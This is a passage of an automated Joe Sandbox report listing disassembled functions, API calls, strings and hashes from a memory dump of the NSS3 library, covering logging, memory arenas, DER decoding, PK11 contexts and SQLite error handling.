Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00BBA
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CC22D54

Part of subcall function 6CD009D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD00BCB
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00BDE
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00C16

Strings

C_InitToken, xrefs: 6CC22CE7
ulPinLen = %d, xrefs: 6CC22D36
slotID = 0x%x, xrefs: 6CC22D02
pPin = 0x%p, xrefs: 6CC22D1D
pLabel = 0x%p, xrefs: 6CC22D4F

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 1ee94ba9ce8fbd8e983871a58fcfcda55034ba912a8667d4dce0c0d32b02500a
Instruction ID: 9ae61601260b1fd3f28e5fff1d23cfcf98f9140e70eec8370faad1c2f78062bd
Opcode Fuzzy Hash: 1ee94ba9ce8fbd8e983871a58fcfcda55034ba912a8667d4dce0c0d32b02500a
Instruction Fuzzy Hash: 2621D675600140BFFB00AF58EC5CE4A3BB9EB4236DF884452E60497A32EB34981CCBA1

Function 6CD00EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CBE2357), ref: 6CD00EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CBE2357), ref: 6CD00EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CD00EE6

Part of subcall function 6CD009D0: PR_Now.NSS3 ref: 6CD00A22
Part of subcall function 6CD009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD00A35
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD00A66
Part of subcall function 6CD009D0: PR_GetCurrentThread.NSS3 ref: 6CD00A70
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD00A9D
Part of subcall function 6CD009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD00AC8
Part of subcall function 6CD009D0: PR_vsmprintf.NSS3(?,?), ref: 6CD00AE8
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00B19
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00B48
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00C76
Part of subcall function 6CD009D0: PR_LogFlush.NSS3 ref: 6CD00C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CD00EFA

Part of subcall function 6CBEAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CBEAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F2B

Strings

Aborting, xrefs: 6CD00EB3
Assertion failure: %s, at %s:%d, xrefs: 6CD00ED9, 6CD00EE5, 6CD00F06, 6CD00F0B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 3c2fc61aa97b38338669871222f8afacbaa272c2226bba43773fe158a823e499
Instruction ID: 66758de433482c24379cc9961d303def42ad12488b11614619c72c4abc42e48c
Opcode Fuzzy Hash: 3c2fc61aa97b38338669871222f8afacbaa272c2226bba43773fe158a823e499
Instruction Fuzzy Hash: D4F03CB59001187BEA017F649C4AC9B3E2DDF86668F048424FF0956612DB76E9189AF2

Function 6CC64DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CC64DCB

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CC64DE1

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CC64DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC64E59

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD2300C,00000000), ref: 6CC64EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CC64EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CC64F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC6521A

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 0baa4078258767296369f93493c25015f1caf332ef7b0f9ded70a1c894fd85a0
Instruction ID: 273e3ab373be062ee0ee4f2be7c2624b4eba8c2dd2208e9c67fda2932244bf11
Opcode Fuzzy Hash: 0baa4078258767296369f93493c25015f1caf332ef7b0f9ded70a1c894fd85a0
Instruction Fuzzy Hash: 0AF1CD71E00209CFDB04CF56D9907AEB7B2BF45318F258129E915ABB81E775E982CF90

Function 6CC60C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CC62C2A), ref: 6CC60C81

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

Part of subcall function 6CC38500: SECOID_GetAlgorithmTag_Util.NSS3(6CC395DC,00000000,00000000,00000000,?,6CC395DC,00000000,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC38517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC60CC4

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC60CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CC60D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CC60D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CC60D7D
free.MOZGLUE(00000000), ref: 6CC60DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC60DC1
free.MOZGLUE(00000000), ref: 6CC60DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC60E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC60E0F

Part of subcall function 6CC395C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC395E0
Part of subcall function 6CC395C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC395F5
Part of subcall function 6CC395C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CC39609
Part of subcall function 6CC395C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC3961D
Part of subcall function 6CC395C0: PK11_GetInternalSlot.NSS3 ref: 6CC3970B
Part of subcall function 6CC395C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC39756
Part of subcall function 6CC395C0: PK11_GetIVLength.NSS3(?), ref: 6CC39767
Part of subcall function 6CC395C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CC3977E
Part of subcall function 6CC395C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC3978E

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 2942ede62fb19abd8b7f3c726681655aeff54139bbcef8587098960fc89f20a3
Instruction ID: a36754139678410d8c1a5cb1631e4410ba92bf84ae4578bc4701d413cc12bcc6
Opcode Fuzzy Hash: 2942ede62fb19abd8b7f3c726681655aeff54139bbcef8587098960fc89f20a3
Instruction Fuzzy Hash: B241D5B1D00245ABEB009F66DD81BAF7A78EF0030CF104568E91967B41F735EA54CBE6

Function 6CBF4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CD40148,?,6CC06FEC), ref: 6CBF502A
PR_NewLock.NSS3(00000001,00000000,6CD40148,?,6CC06FEC), ref: 6CBF5034
PL_NewHashTable.NSS3(00000000,6CC4FE80,6CC4FD30,6CC9C350,00000000,00000000,00000001,00000000,6CD40148,?,6CC06FEC), ref: 6CBF5055
PL_NewHashTable.NSS3(00000000,6CC4FE80,6CC4FD30,6CC9C350,00000000,00000000,?,00000001,00000000,6CD40148,?,6CC06FEC), ref: 6CBF506D

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 927e0f8b4f23c111a5ac68ba8204b3ebe3c588dfd4136ccc27e145ed970ee4e1
Instruction ID: 2682c79ee98863e4c067d77f63e42dd2ebee17ab5a6a899b361912e9f4f8cadf
Opcode Fuzzy Hash: 927e0f8b4f23c111a5ac68ba8204b3ebe3c588dfd4136ccc27e145ed970ee4e1
Instruction Fuzzy Hash: 5931D2B2A012509BFB109B65884CF4B3ABCEB1335DF858126EB2583740E774950DCBE6

Function 6CB92E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB92F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CB92FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CB93005
memcpy.VCRUNTIME140(?,?,?), ref: 6CB930EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB93131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB93178

Strings

database corruption, xrefs: 6CB9316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB93022, 6CB93156, 6CB93162, 6CB9318A, 6CB93196, 6CB931A2, 6CB931AE, 6CB931BA, 6CB931C6
%s at line %d of [%.10s], xrefs: 6CB93171

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 0177df92da4d51200e98cdd91ed470e6cec69bef634988a39c60482b04c2c9b4
Instruction ID: a7636172859db98e349f3586e2a32a19dea7857a3d6c95417d2838e20acaed5f
Opcode Fuzzy Hash: 0177df92da4d51200e98cdd91ed470e6cec69bef634988a39c60482b04c2c9b4
Instruction Fuzzy Hash: D2B1AE70E052699BDB08CF9DC884AEEB7B1FF4A304F144039E849B7B51D3759885CBA5

Function 6CB72400 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 125COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,bind on a busy prepared statement: [%s],?), ref: 6CB724EC
sqlite3_log.NSS3(00000015,API called with NULL prepared statement,?,?,?,?,?,6CB72315), ref: 6CB7254F
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000151C9,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,6CB72315), ref: 6CB7256C

Strings

API called with NULL prepared statement, xrefs: 6CB7253C
misuse, xrefs: 6CB72561
API called with finalized prepared statement, xrefs: 6CB72543, 6CB7254D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB724F4, 6CB72557
bind on a busy prepared statement: [%s], xrefs: 6CB724E6
%s at line %d of [%.10s], xrefs: 6CB72566

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API called with NULL prepared statement$API called with finalized prepared statement$bind on a busy prepared statement: [%s]$misuse
API String ID: 632333372-2222229625
Opcode ID: a508cbfadcdbb3a886568dd92cdfd803fb475a910a41c1bd4e96f4fa8860760c
Instruction ID: d6be4c1260a1b0914211d41942649563fa0c95db99421725331977a4e9453cd8
Opcode Fuzzy Hash: a508cbfadcdbb3a886568dd92cdfd803fb475a910a41c1bd4e96f4fa8860760c
Instruction Fuzzy Hash: C6412271A04640DBEB348F18D898B6A73B6EF81319F14092CEE654BB50D736E81587A3

Function 6CB76600 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 95COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,NULL), ref: 6CB76C66
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0001F490,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB76C83

Strings

unopened, xrefs: 6CB76C9F
API call with %s database connection pointer, xrefs: 6CB76C60
misuse, xrefs: 6CB76C78
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB76C6E
invalid, xrefs: 6CB76C95
%s at line %d of [%.10s], xrefs: 6CB76C7D
NULL, xrefs: 6CB76C55, 6CB76C5F

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$NULL$invalid$misuse$unopened
API String ID: 632333372-4248800309
Opcode ID: e425120dead1a07245793829837a303e4952a33970340d76451ddf3a54e809cb
Instruction ID: cc7345a73b3fdcc7f158fda7bbb2717efa5288dbb923995db8e9e23685c1401e
Opcode Fuzzy Hash: e425120dead1a07245793829837a303e4952a33970340d76451ddf3a54e809cb
Instruction Fuzzy Hash: 7B313A71B041945BEB208F798C417AB77B5EB46318F184128DE38EBB85D734994583E2

Function 6CBF0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBF0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBF0F84

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CC0F59B,6CD1890C,?), ref: 6CBF0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CBF0FC1

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CBF0FDB
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBF0FEF
PL_FreeArenaPool.NSS3(?), ref: 6CBF1001
PL_FinishArenaPool.NSS3(?), ref: 6CBF1009

Strings

security, xrefs: 6CBF0F5C

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 4dd00facae5852f4cc29a28cdf9eccb1566eb1787d924d484a0f1cb853013cae
Instruction ID: 275b1d7f61d7f0a0bfdf223c7fcf1d8d78c4826264b6714b2817d36cce5fb71c
Opcode Fuzzy Hash: 4dd00facae5852f4cc29a28cdf9eccb1566eb1787d924d484a0f1cb853013cae
Instruction Fuzzy Hash: D32106B1904244ABEB109F34EC80AAEB7B8EF4425DF048518FC1896B11F731D52ACBD2

Function 6CBF6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CBF7D8F,6CBF7D8F,?,?), ref: 6CBF6DC8

Part of subcall function 6CC4FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CC4FE08
Part of subcall function 6CC4FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CC4FE1D
Part of subcall function 6CC4FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CC4FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CBF7D8F,?,?), ref: 6CBF6DD5

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD18FA0,00000000,?,?,?,?,6CBF7D8F,?,?), ref: 6CBF6DF7

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CBF6E35

Part of subcall function 6CC4FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CC4FE29
Part of subcall function 6CC4FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CC4FE3D
Part of subcall function 6CC4FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CC4FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CBF6E4C

Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD18FE0,00000000), ref: 6CBF6E82

Part of subcall function 6CBF6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CBFB21D,00000000,00000000,6CBFB219,?,6CBF6BFB,00000000,?,00000000,00000000,?,?,?,6CBFB21D), ref: 6CBF6B01
Part of subcall function 6CBF6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CBF6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CBF6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CBF6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD18FE0,00000000), ref: 6CBF6F6B
PR_SetError.NSS3(FFFFE005,00000000,6CBF7D8F,?,?), ref: 6CBF6FE1

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
